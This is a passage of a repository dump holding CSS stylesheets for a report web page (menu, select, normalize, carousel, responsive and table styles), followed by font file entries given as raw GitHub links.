75 | width: 80%; 76 | padding: 1em 10%; 77 | border-top: 1px solid #ccc; 78 | border-top: 1px solid #ccc; 79 | opacity: 1; 80 | filter: alpha(opacity=1); 81 | text-shadow: none !important; 82 | visibility: visible; 83 | } 84 | .mean-container .mean-nav ul li.mean-last a { 85 | border-bottom: 1px solid #cccccc; 86 | margin-bottom: 0; 87 | } 88 | .mean-container .mean-nav ul li li li a { 89 | width: 70%; 90 | padding: 1em 15%; 91 | } 92 | .mean-container .mean-nav ul li li li li a { 93 | width: 60%; 94 | padding: 1em 20%; 95 | } 96 | .mean-container .mean-nav ul li li li li li a { 97 | width: 50%; 98 | padding: 1em 25%; 99 | } 100 | .mean-container .mean-nav ul li a:hover { 101 | ` background: #252525; 102 | background: rgba(255, 255, 255, 0.1); 103 | } 104 | .mean-container .mean-nav ul li a.mean-expand { 105 | background: rgba(255, 255, 255, 0.1) none repeat scroll 0 0; 106 | border: medium none; 107 | font-weight: 400; 108 | height: 22px; 109 | line-height: 22px; 110 | margin-top: 1px; 111 | padding: 12px 16px; 112 | position: absolute; 113 | right: 0; 114 | text-align: center; 115 | top: -1px; 116 | width: 17px; 117 | z-index: 2; 118 | font-size: 18px !important; 119 | } 120 | .mean-container .mean-nav ul li a.mean-expand:hover { 121 | background: rgba(0, 0, 0, 0.9) none repeat scroll 0 0; 122 | color: #ffffff; 123 | } 124 | .mean-container .mean-push { 125 | float: left; 126 | width: 100%; 127 | padding: 0; 128 | margin: 0; 129 | clear: both; 130 | } 131 | .mean-nav .wrapper { 132 | width: 100%; 133 | padding: 0; 134 | margin: 0; 135 | } 136 | .mean-container .mean-bar, .mean-container .mean-bar * { 137 | -webkit-box-sizing: content-box; 138 | -moz-box-sizing: content-box; 139 | box-sizing: content-box; 140 | } 141 | .mean-remove { 142 | display: none !important; 143 | } 144 | .mean-nav span { 145 | display: none; 146 | } 147 | .mean-container .mean-nav ul li a.mean-expand:hover, .mean-container .mean-nav ul li a.mean-expand:focus { 148 | background: #0f69c6 ; 149 | color: #ffffff; 150 | } 151 | .mean-container .mean-nav ul li a:hover { 152 | color: #ef4259 ; 153 | } 154 | -------------------------------------------------------------------------------- /report/css/nice-select.css: -------------------------------------------------------------------------------- 1 | /*--------------------------------------------------------------------- 2 | File Name: nice-select.css 3 | ---------------------------------------------------------------------*/ 4 | 5 | .nice-select { 6 | background-color: #f6f6f6; 7 | border-radius: 0; 8 | box-sizing: border-box; 9 | clear: both; 10 | display: block; 11 | float: left; 12 | height: auto; 13 | outline: none; 14 | padding-left: 20px; 15 | padding-right: 35px; 16 | position: relative; 17 | -webkit-transition: all 0.2s ease-in-out; 18 | transition: all 0.2s ease-in-out; 19 | -webkit-user-select: none; 20 | -moz-user-select: none; 21 | -ms-user-select: none; 22 | user-select: none; 23 | width: 50%; 24 | cursor: pointer; 25 | font-family: inherit; 26 | font-weight: normal; 27 | line-height: 50px; 28 | text-align: left !important; 29 | white-space: nowrap; 30 | font-weight: 300; 31 | } 32 | 33 | .nice-select:after { 34 | border-bottom: 2px solid #999; 35 | border-right: 2px solid #999; 36 | content: ''; 37 | display: block; 38 | height: 5px; 39 | margin-top: -4px; 40 | pointer-events: none; 41 | position: absolute; 42 | right: 12px; 43 | top: 50%; 44 | -webkit-transform-origin: 66% 66%; 45 | -ms-transform-origin: 66% 66%; 46 | transform-origin: 66% 66%; 47 | -webkit-transform: rotate(45deg); 48 | -ms-transform: rotate(45deg); 49 | transform: rotate(45deg); 50 | -webkit-transition: all 0.15s ease-in-out; 51 | transition: all 0.15s ease-in-out; 52 | width: 5px; 53 | } 54 | 55 | .nice-select.open:after { 56 | -webkit-transform: rotate(-135deg); 57 | -ms-transform: rotate(-135deg); 58 | transform: rotate(-135deg); 59 | } 60 | 61 | .nice-select.open .list { 62 | opacity: 1; 63 | pointer-events: auto; 64 | -webkit-transform: scale(1) translateY(0); 65 | -ms-transform: scale(1) translateY(0); 66 | transform: scale(1) translateY(0); 67 | } 68 | 69 | .nice-select.disabled { 70 | border-color: #ededed; 71 | color: #999; 72 | pointer-events: none; 73 | } 74 | 75 | .nice-select.disabled:after { 76 | border-color: #cccccc; 77 | } 78 | 79 | .nice-select.wide { 80 | width: 100%; 81 | } 82 | 83 | .nice-select.wide .list { 84 | left: 0 !important; 85 | right: 0 !important; 86 | } 87 | 88 | .nice-select.right { 89 | float: right; 90 | } 91 | 92 | .nice-select.right .list { 93 | left: auto; 94 | right: 0; 95 | } 96 | 97 | .nice-select.small { 98 | font-size: 12px; 99 | height: 36px; 100 | line-height: 34px; 101 | } 102 | 103 | .nice-select.small:after { 104 | height: 4px; 105 | width: 4px; 106 | } 107 | 108 | .nice-select.small .option { 109 | line-height: 34px; 110 | min-height: 34px; 111 | } 112 | 113 | .nice-select .list { 114 | background-color: #fff; 115 | border-radius: 5px; 116 | box-shadow: 0 0 0 1px rgba(68, 68, 68, 0.11); 117 | box-sizing: border-box; 118 | margin-top: 4px; 119 | opacity: 0; 120 | overflow: hidden; 121 | padding: 0; 122 | pointer-events: none; 123 | position: absolute; 124 | top: 100%; 125 | left: 0; 126 | -webkit-transform-origin: 50% 0; 127 | -ms-transform-origin: 50% 0; 128 | transform-origin: 50% 0; 129 | -webkit-transform: scale(0.75) translateY(-21px); 130 | -ms-transform: scale(0.75) translateY(-21px); 131 | transform: scale(0.75) translateY(-21px); 132 | -webkit-transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out; 133 | transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out; 134 | z-index: 9; 135 | } 136 | 137 | .nice-select .list:hover .option:not(:hover) { 138 | background-color: transparent !important; 139 | } 140 | 141 | .nice-select .option { 142 | cursor: pointer; 143 | font-weight: 400; 144 | line-height: 40px; 145 | list-style: none; 146 | min-height: 40px; 147 | outline: none; 148 | padding-left: 18px; 149 | padding-right: 29px; 150 | text-align: left; 151 | -webkit-transition: all 0.2s; 152 | transition: all 0.2s; 153 | } 154 | 155 | .nice-select .option:hover, 156 | .nice-select .option.focus, 157 | .nice-select .option.selected.focus { 158 | background-color: #f6f6f6; 159 | } 160 | 161 | .nice-select .option.selected { 162 | font-weight: bold; 163 | } 164 | 165 | .nice-select .option.disabled { 166 | background-color: transparent; 167 | color: #999; 168 | cursor: default; 169 | } 170 | 171 | .no-csspointerevents .nice-select .list { 172 | display: none; 173 | } 174 | 175 | .no-csspointerevents .nice-select.open .list { 176 | display: block; 177 | } 178 | -------------------------------------------------------------------------------- /report/css/normalize.css: -------------------------------------------------------------------------------- 1 | /*! normalize.css v6.0.0 | MIT License | github.com/necolas/normalize.css */ 2 | 3 | /* Document 4 | ========================================================================== */ 5 | 6 | /** 7 | * 1. Correct the line height in all browsers. 8 | * 2. Prevent adjustments of font size after orientation changes in 9 | * IE on Windows Phone and in iOS. 10 | */ 11 | 12 | html { 13 | line-height: 1.15; /* 1 */ 14 | -ms-text-size-adjust: 100%; /* 2 */ 15 | -webkit-text-size-adjust: 100%; /* 2 */ 16 | } 17 | 18 | /* Sections 19 | ========================================================================== */ 20 | 21 | /** 22 | * Add the correct display in IE 9-. 23 | */ 24 | 25 | article, 26 | aside, 27 | footer, 28 | header, 29 | nav, 30 | section { 31 | display: block; 32 | } 33 | 34 | /** 35 | * Correct the font size and margin on `h1` elements within `section` and 36 | * `article` contexts in Chrome, Firefox, and Safari. 37 | */ 38 | 39 | h1 { 40 | font-size: 2em; 41 | margin: 0.67em 0; 42 | } 43 | 44 | /* Grouping content 45 | ========================================================================== */ 46 | 47 | /** 48 | * Add the correct display in IE 9-. 49 | * 1. Add the correct display in IE. 50 | */ 51 | 52 | figcaption, 53 | figure, 54 | main { /* 1 */ 55 | display: block; 56 | } 57 | 58 | /** 59 | * Add the correct margin in IE 8. 60 | */ 61 | 62 | figure { 63 | margin: 1em 40px; 64 | } 65 | 66 | /** 67 | * 1. Add the correct box sizing in Firefox. 68 | * 2. Show the overflow in Edge and IE. 69 | */ 70 | 71 | hr { 72 | box-sizing: content-box; /* 1 */ 73 | height: 0; /* 1 */ 74 | overflow: visible; /* 2 */ 75 | } 76 | 77 | /** 78 | * 1. Correct the inheritance and scaling of font size in all browsers. 79 | * 2. Correct the odd `em` font sizing in all browsers. 80 | */ 81 | 82 | pre { 83 | font-family: monospace, monospace; /* 1 */ 84 | font-size: 1em; /* 2 */ 85 | } 86 | 87 | /* Text-level semantics 88 | ========================================================================== */ 89 | 90 | /** 91 | * 1. Remove the gray background on active links in IE 10. 92 | * 2. Remove gaps in links underline in iOS 8+ and Safari 8+. 93 | */ 94 | 95 | a { 96 | background-color: transparent; /* 1 */ 97 | -webkit-text-decoration-skip: objects; /* 2 */ 98 | } 99 | 100 | /** 101 | * 1. Remove the bottom border in Chrome 57- and Firefox 39-. 102 | * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari. 103 | */ 104 | 105 | abbr[title] { 106 | border-bottom: none; /* 1 */ 107 | text-decoration: underline; /* 2 */ 108 | text-decoration: underline dotted; /* 2 */ 109 | } 110 | 111 | /** 112 | * Prevent the duplicate application of `bolder` by the next rule in Safari 6. 113 | */ 114 | 115 | b, 116 | strong { 117 | font-weight: inherit; 118 | } 119 | 120 | /** 121 | * Add the correct font weight in Chrome, Edge, and Safari. 122 | */ 123 | 124 | b, 125 | strong { 126 | font-weight: bolder; 127 | } 128 | 129 | /** 130 | * 1. Correct the inheritance and scaling of font size in all browsers. 131 | * 2. Correct the odd `em` font sizing in all browsers. 132 | */ 133 | 134 | code, 135 | kbd, 136 | samp { 137 | font-family: monospace, monospace; /* 1 */ 138 | font-size: 1em; /* 2 */ 139 | } 140 | 141 | /** 142 | * Add the correct font style in Android 4.3-. 143 | */ 144 | 145 | dfn { 146 | font-style: italic; 147 | } 148 | 149 | /** 150 | * Add the correct background and color in IE 9-. 151 | */ 152 | 153 | mark { 154 | background-color: #ff0; 155 | color: #000; 156 | } 157 | 158 | /** 159 | * Add the correct font size in all browsers. 160 | */ 161 | 162 | small { 163 | font-size: 80%; 164 | } 165 | 166 | /** 167 | * Prevent `sub` and `sup` elements from affecting the line height in 168 | * all browsers. 169 | */ 170 | 171 | sub, 172 | sup { 173 | font-size: 75%; 174 | line-height: 0; 175 | position: relative; 176 | vertical-align: baseline; 177 | } 178 | 179 | sub { 180 | bottom: -0.25em; 181 | } 182 | 183 | sup { 184 | top: -0.5em; 185 | } 186 | 187 | /* Embedded content 188 | ========================================================================== */ 189 | 190 | /** 191 | * Add the correct display in IE 9-. 192 | */ 193 | 194 | audio, 195 | video { 196 | display: inline-block; 197 | } 198 | 199 | /** 200 | * Add the correct display in iOS 4-7. 201 | */ 202 | 203 | audio:not([controls]) { 204 | display: none; 205 | height: 0; 206 | } 207 | 208 | /** 209 | * Remove the border on images inside links in IE 10-. 210 | */ 211 | 212 | img { 213 | border-style: none; 214 | } 215 | 216 | /** 217 | * Hide the overflow in IE. 218 | */ 219 | 220 | svg:not(:root) { 221 | overflow: hidden; 222 | } 223 | 224 | /* Forms 225 | ========================================================================== */ 226 | 227 | /** 228 | * Remove the margin in Firefox and Safari. 229 | */ 230 | 231 | button, 232 | input, 233 | optgroup, 234 | select, 235 | textarea { 236 | margin: 0; 237 | } 238 | 239 | /** 240 | * Show the overflow in IE. 241 | * 1. Show the overflow in Edge. 242 | */ 243 | 244 | button, 245 | input { /* 1 */ 246 | overflow: visible; 247 | } 248 | 249 | /** 250 | * Remove the inheritance of text transform in Edge, Firefox, and IE. 251 | * 1. Remove the inheritance of text transform in Firefox. 252 | */ 253 | 254 | button, 255 | select { /* 1 */ 256 | text-transform: none; 257 | } 258 | 259 | /** 260 | * 1. Prevent a WebKit bug where (2) destroys native `audio` and `video` 261 | * controls in Android 4. 262 | * 2. Correct the inability to style clickable types in iOS and Safari. 263 | */ 264 | 265 | button, 266 | html [type="button"], /* 1 */ 267 | [type="reset"], 268 | [type="submit"] { 269 | -webkit-appearance: button; /* 2 */ 270 | } 271 | 272 | /** 273 | * Remove the inner border and padding in Firefox. 274 | */ 275 | 276 | button::-moz-focus-inner, 277 | [type="button"]::-moz-focus-inner, 278 | [type="reset"]::-moz-focus-inner, 279 | [type="submit"]::-moz-focus-inner { 280 | border-style: none; 281 | padding: 0; 282 | } 283 | 284 | /** 285 | * Restore the focus styles unset by the previous rule. 286 | */ 287 | 288 | button:-moz-focusring, 289 | [type="button"]:-moz-focusring, 290 | [type="reset"]:-moz-focusring, 291 | [type="submit"]:-moz-focusring { 292 | outline: 1px dotted ButtonText; 293 | } 294 | 295 | /** 296 | * 1. Correct the text wrapping in Edge and IE. 297 | * 2. Correct the color inheritance from `fieldset` elements in IE. 298 | * 3. Remove the padding so developers are not caught out when they zero out 299 | * `fieldset` elements in all browsers. 300 | */ 301 | 302 | legend { 303 | box-sizing: border-box; /* 1 */ 304 | color: inherit; /* 2 */ 305 | display: table; /* 1 */ 306 | max-width: 100%; /* 1 */ 307 | padding: 0; /* 3 */ 308 | white-space: normal; /* 1 */ 309 | } 310 | 311 | /** 312 | * 1. Add the correct display in IE 9-. 313 | * 2. Add the correct vertical alignment in Chrome, Firefox, and Opera. 314 | */ 315 | 316 | progress { 317 | display: inline-block; /* 1 */ 318 | vertical-align: baseline; /* 2 */ 319 | } 320 | 321 | /** 322 | * Remove the default vertical scrollbar in IE. 323 | */ 324 | 325 | textarea { 326 | overflow: auto; 327 | } 328 | 329 | /** 330 | * 1. Add the correct box sizing in IE 10-. 331 | * 2. Remove the padding in IE 10-. 332 | */ 333 | 334 | [type="checkbox"], 335 | [type="radio"] { 336 | box-sizing: border-box; /* 1 */ 337 | padding: 0; /* 2 */ 338 | } 339 | 340 | /** 341 | * Correct the cursor style of increment and decrement buttons in Chrome. 342 | */ 343 | 344 | [type="number"]::-webkit-inner-spin-button, 345 | [type="number"]::-webkit-outer-spin-button { 346 | height: auto; 347 | } 348 | 349 | /** 350 | * 1. Correct the odd appearance in Chrome and Safari. 351 | * 2. Correct the outline style in Safari. 352 | */ 353 | 354 | [type="search"] { 355 | -webkit-appearance: textfield; /* 1 */ 356 | outline-offset: -2px; /* 2 */ 357 | } 358 | 359 | /** 360 | * Remove the inner padding and cancel buttons in Chrome and Safari on macOS. 361 | */ 362 | 363 | [type="search"]::-webkit-search-cancel-button, 364 | [type="search"]::-webkit-search-decoration { 365 | -webkit-appearance: none; 366 | } 367 | 368 | /** 369 | * 1. Correct the inability to style clickable types in iOS and Safari. 370 | * 2. Change font properties to `inherit` in Safari. 371 | */ 372 | 373 | ::-webkit-file-upload-button { 374 | -webkit-appearance: button; /* 1 */ 375 | font: inherit; /* 2 */ 376 | } 377 | 378 | /* Interactive 379 | ========================================================================== */ 380 | 381 | /* 382 | * Add the correct display in IE 9-. 383 | * 1. Add the correct display in Edge, IE, and Firefox. 384 | */ 385 | 386 | details, /* 1 */ 387 | menu { 388 | display: block; 389 | } 390 | 391 | /* 392 | * Add the correct display in all browsers. 393 | */ 394 | 395 | summary { 396 | display: list-item; 397 | } 398 | 399 | /* Scripting 400 | ========================================================================== */ 401 | 402 | /** 403 | * Add the correct display in IE 9-. 404 | */ 405 | 406 | canvas { 407 | display: inline-block; 408 | } 409 | 410 | /** 411 | * Add the correct display in IE. 412 | */ 413 | 414 | template { 415 | display: none; 416 | } 417 | 418 | /* Hidden 419 | ========================================================================== */ 420 | 421 | /** 422 | * Add the correct display in IE 10-. 423 | */ 424 | 425 | [hidden] { 426 | display: none; 427 | } 428 | -------------------------------------------------------------------------------- /report/css/owl.carousel.min.css: -------------------------------------------------------------------------------- 1 | /** 2 | * Owl Carousel v2.3.3 3 | * Copyright 2013-2018 David Deutsch 4 | * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE 5 | */ 6 | .owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.owl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!important;font:inherit}.owl-carousel.owl-loading{opacity:0;display:block}.owl-carousel.owl-hidden{opacity:0}.owl-carousel.owl-refresh .owl-item{visibility:hidden}.owl-carousel.owl-drag .owl-item{-ms-touch-action:none;touch-action:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel.owl-grab{cursor:move;cursor:grab}.owl-carousel.owl-rtl{direction:rtl}.owl-carousel.owl-rtl .owl-item{float:right}.owl-carousel .animated{animation-duration:1s;animation-fill-mode:both}.owl-carousel .owl-animated-in{z-index:0}.owl-carousel .owl-animated-out{z-index:1}.owl-carousel .fadeOut{animation-name:fadeOut}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{transition:height .5s ease-in-out}.owl-carousel .owl-item .owl-lazy{opacity:0;transition:opacity .4s ease}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-video-play-icon:hover{-ms-transform:scale(1.3,1.3);transform:scale(1.3,1.3)}.owl-carousel .owl-video-playing .owl-video-play-icon,.owl-carousel .owl-video-playing .owl-video-tn{display:none}.owl-carousel .owl-video-tn{opacity:0;height:100%;background-position:center center;background-repeat:no-repeat;background-size:contain;transition:opacity .4s ease}.owl-carousel .owl-video-frame{position:relative;z-index:1;height:100%;width:100%} -------------------------------------------------------------------------------- /report/css/responsive.css: -------------------------------------------------------------------------------- 1 | 2 | 3 | /*--------------------------------------------------------------------- File Name: responsive.css ---------------------------------------------------------------------*/ 4 | 5 | 6 | /*------------------------------------------------------------------- 991px x 768px ---------------------------------------------------------------------*/ 7 | 8 | @media (min-width: 1200px) and (max-width: 1500px) { 9 | .projects::after { 10 | width: 262px; 11 | } 12 | } 13 | 14 | @media (min-width: 992px) and (max-width: 1199px) { 15 | .testimonial_Carousel .test_box p { 16 | font-size: 16px; 17 | padding: 29px; 18 | } 19 | .text-bg h1 { 20 | font-size: 36px; 21 | line-height: 59px; 22 | } 23 | .projects::after { 24 | background: transparent; 25 | } 26 | .copyright::after { 27 | background: transparent; 28 | } 29 | } 30 | 31 | @media (min-width: 768px) and (max-width: 991px) { 32 | .projects::after { 33 | background: transparent; 34 | } 35 | .copyright::after { 36 | background: transparent; 37 | } 38 | .navigation.navbar-dark .navbar-nav .nav-link { 39 | padding: 0 14px; 40 | } 41 | .text-bg h1 { 42 | padding-top: 0px; 43 | font-size: 28px; 44 | line-height: 38px; 45 | } 46 | .text-bg { 47 | padding-right: 108px; 48 | } 49 | .banner_main { 50 | padding: 30px 0 190px 0; 51 | } 52 | } 53 | 54 | @media (min-width: 576px) and (max-width: 767px) { 55 | .head_top { 56 | background: #0891f8; 57 | } 58 | .mean-container .mean-bar { 59 | margin-top: 0px; 60 | } 61 | .text-bg h1 { 62 | font-size: 50px; 63 | } 64 | .text-bg { 65 | padding-right: 0; 66 | } 67 | .text-img { 68 | padding-top: 30px; 69 | } 70 | .main_form { 71 | margin: 0; 72 | } 73 | .Testimonial { 74 | background: #0891f8; 75 | } 76 | .Testimonial_box { 77 | padding: 20px; 78 | } 79 | .Testimonial_box p { 80 | padding-right: 0px; 81 | } 82 | .Testimonial_box i::after { 83 | border: inherit; 84 | } 85 | .cont h3 { 86 | font-size: 34px; 87 | line-height: 52px; 88 | } 89 | .navigation.navbar { 90 | float: right; 91 | display: inherit !important; 92 | padding: 0; 93 | width: 100%; 94 | } 95 | .navigation .navbar-collapse { 96 | background: #fff; 97 | padding: 20px; 98 | margin-top: 46px; 99 | position: absolute; 100 | width: 100%; 101 | margin-right: 20px; 102 | z-index: 999; 103 | } 104 | .navigation.navbar-dark .navbar-nav .nav-link { 105 | padding: 10px 0; 106 | color: #000; 107 | } 108 | .navigation.navbar-dark .navbar-toggler { 109 | border: inherit; 110 | float: right; 111 | padding-top: 6px; 112 | } 113 | .navigation.navbar-dark .navbar-toggler-icon { 114 | background: url(../images/menu_icon.png); 115 | background-repeat: no-repeat; 116 | } 117 | .projects::after { 118 | background: transparent; 119 | } 120 | .copyright::after { 121 | background: transparent; 122 | } 123 | } 124 | 125 | @media (max-width: 575px) { 126 | .head_top { 127 | background: #0891f8; 128 | } 129 | .header { 130 | padding: 12px 0px 0px 0px; 131 | } 132 | .logo { 133 | text-align: center !important; 134 | padding-bottom: 6px; 135 | float: left; 136 | } 137 | .text-bg h1 { 138 | font-size: 33px; 139 | line-height: 51px; 140 | } 141 | .text-bg { 142 | padding-right: 0; 143 | } 144 | .text-img { 145 | padding-top: 30px; 146 | } 147 | .titlepage h2 { 148 | font-size: 35px; 149 | line-height: 50px; 150 | } 151 | .business .titlepage span { 152 | font-size: 23px; 153 | line-height: 28px; 154 | } 155 | .banner_main { 156 | padding: 50px 0; 157 | } 158 | .projects::after { 159 | background: transparent; 160 | } 161 | .Testimonial { 162 | background: #0891f8; 163 | } 164 | .Testimonial_box { 165 | padding: 20px; 166 | } 167 | .Testimonial_box p { 168 | padding-right: 0px; 169 | } 170 | .Testimonial_box i::after { 171 | border: inherit; 172 | } 173 | .cont h3 { 174 | font-size: 30px; 175 | line-height: 45px; 176 | } 177 | .multi { 178 | font-size: 33px; 179 | } 180 | .main_form { 181 | padding: 25px; 182 | margin: 0px 0px; 183 | } 184 | .copyright::after { 185 | background: transparent; 186 | } 187 | .navigation.navbar { 188 | float: right; 189 | display: inherit !important; 190 | padding: 0; 191 | width: 100%; 192 | margin-top: -45px; 193 | } 194 | .navigation .navbar-collapse { 195 | background: #fff; 196 | padding: 20px; 197 | margin-top: 46px; 198 | position: absolute; 199 | width: 100%; 200 | margin-right: 20px; 201 | z-index: 999; 202 | } 203 | .navigation.navbar-dark .navbar-nav .nav-link { 204 | padding: 10px 0; 205 | color: #000; 206 | } 207 | .navigation.navbar-dark .navbar-toggler { 208 | float: right; 209 | margin-right: 2px; 210 | border: inherit; 211 | } 212 | .testimonial_box { 213 | padding: 0px 19px 40px 20px; 214 | } 215 | .navigation.navbar-dark .navbar-toggler-icon { 216 | background: url(../images/menu_icon.png); 217 | background-repeat: no-repeat; 218 | } 219 | } 220 | 221 | -------------------------------------------------------------------------------- /report/css/slick.css: -------------------------------------------------------------------------------- 1 | /*--------------------------------------------------------------------- 2 | File Name: slick.css 3 | ---------------------------------------------------------------------*/ 4 | 5 | .slick-slider { 6 | position: relative; 7 | display: block; 8 | -moz-box-sizing: border-box; 9 | box-sizing: border-box; 10 | -webkit-user-select: none; 11 | -moz-user-select: none; 12 | -ms-user-select: none; 13 | user-select: none; 14 | -webkit-touch-callout: none; 15 | -khtml-user-select: none; 16 | -ms-touch-action: pan-y; 17 | touch-action: pan-y; 18 | -webkit-tap-highlight-color: transparent; 19 | } 20 | 21 | .slick-list { 22 | position: relative; 23 | display: block; 24 | overflow: hidden; 25 | margin: 0; 26 | padding: 0; 27 | } 28 | 29 | .slick-list:focus { 30 | outline: none; 31 | } 32 | 33 | .slick-list.dragging { 34 | cursor: pointer; 35 | cursor: hand; 36 | } 37 | 38 | .slick-slider .slick-track, 39 | .slick-slider .slick-list { 40 | -webkit-transform: translate3d(0, 0, 0); 41 | -moz-transform: translate3d(0, 0, 0); 42 | -ms-transform: translate3d(0, 0, 0); 43 | -o-transform: translate3d(0, 0, 0); 44 | transform: translate3d(0, 0, 0); 45 | } 46 | 47 | .slick-track { 48 | position: relative; 49 | top: 0; 50 | left: 0; 51 | display: block; 52 | } 53 | 54 | .slick-track:before, 55 | .slick-track:after { 56 | display: table; 57 | content: ''; 58 | } 59 | 60 | .slick-track:after { 61 | clear: both; 62 | } 63 | 64 | .slick-loading .slick-track { 65 | visibility: hidden; 66 | } 67 | 68 | .slick-slide { 69 | display: none; 70 | float: left; 71 | height: 100%; 72 | min-height: 1px; 73 | } 74 | 75 | [dir='rtl'] .slick-slide { 76 | float: right; 77 | } 78 | 79 | .slick-slide img { 80 | display: block; 81 | } 82 | 83 | .slick-slide.slick-loading img { 84 | display: none; 85 | } 86 | 87 | .slick-slide.dragging img { 88 | pointer-events: none; 89 | } 90 | 91 | .slick-initialized .slick-slide { 92 | display: block; 93 | } 94 | 95 | .slick-loading .slick-slide { 96 | visibility: hidden; 97 | } 98 | 99 | .slick-vertical .slick-slide { 100 | display: block; 101 | height: auto; 102 | border: 1px solid transparent; 103 | } 104 | 105 | .slick-arrow.slick-hidden { 106 | display: none; 107 | } 108 | 109 | -------------------------------------------------------------------------------- /report/css/table.css: -------------------------------------------------------------------------------- 1 | .completed { 2 | background-color: greenyellow; 3 | } 4 | 5 | .notcompleted { 6 | background-color:beige; 7 | } 8 | 9 | 10 | .bigtableLeft { 11 | position: absolute; 12 | top: 30%; 13 | left: 50%; 14 | } 15 | 16 | .bigtableRight { 17 | position: absolute; 18 | top: 20%; 19 | left: 68%; 20 | padding-right: 10px; 21 | } 22 | 23 | .headers { 24 | font-size: 24px; 25 | font-weight: bold; 26 | padding-bottom: 10px; 27 | } 28 | table { 29 | width: 100%; 30 | border-collapse: collapse; 31 | overflow: hidden; 32 | border-radius: 5px; 33 | } 34 | 35 | th, 36 | td { 37 | background-color: rgba(255,255,255,0.2); 38 | 39 | } 40 | 41 | th { 42 | text-align: left; 43 | color: #fff; 44 | } 45 | 46 | thead { 47 | th { 48 | padding-left: 10px; 49 | color:darkslategrey; 50 | font-weight: bold; 51 | font-size: large; 52 | text-align: center; } 53 | } 54 | 55 | tbody { 56 | 57 | td { 58 | position: relative; 59 | padding-left: 10px; 60 | font-weight: bold; 61 | font-size: large; 62 | } 63 | } 64 | 65 | .spacedTable { 66 | border-collapse:separate; 67 | border-spacing:0 10px; 68 | } -------------------------------------------------------------------------------- /report/css/table2.css: -------------------------------------------------------------------------------- 1 | .completed { 2 | background-color: greenyellow; 3 | border-top: 2px solid red; 4 | border-right: 2px solid red; 5 | border-left: 2px solid red; 6 | border-bottom: 2px solid red; 7 | font-size: small; 8 | } 9 | 10 | .notcompleted { 11 | background-color:beige; 12 | font-size: small; 13 | } 14 | 15 | .foundation { 16 | background-color: aliceblue; 17 | border-right: 5px solid red; 18 | font-size: small; 19 | } 20 | 21 | .strategic { 22 | background-color: cornsilk; 23 | border-right: 5px solid red; 24 | font-size: small; 25 | } 26 | 27 | .advanced { 28 | background-color: aquamarine; 29 | border-right: 5px solid red; 30 | font-size: small; 31 | } 32 | 33 | 34 | table { 35 | border-collapse: collapse; 36 | overflow: hidden; 37 | box-shadow: 0 0 20px rgba(0,0,0,0.1); 38 | } 39 | 40 | th, 41 | td { 42 | background-color: rgba(255,255,255,0.2); 43 | } 44 | 45 | th { 46 | text-align: left; 47 | color: #fff; 48 | } 49 | 50 | .table-header { 51 | background-color: #55608f; 52 | color: #fff; 53 | } 54 | 55 | -------------------------------------------------------------------------------- /report/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /report/fonts/IcoMoon-Free.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/IcoMoon-Free.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-Black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Black.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-BlackItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-BlackItalic.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Bold.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-BoldItalic.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-ExtraBold.ttf: -------------------------------------------------------------------------------- 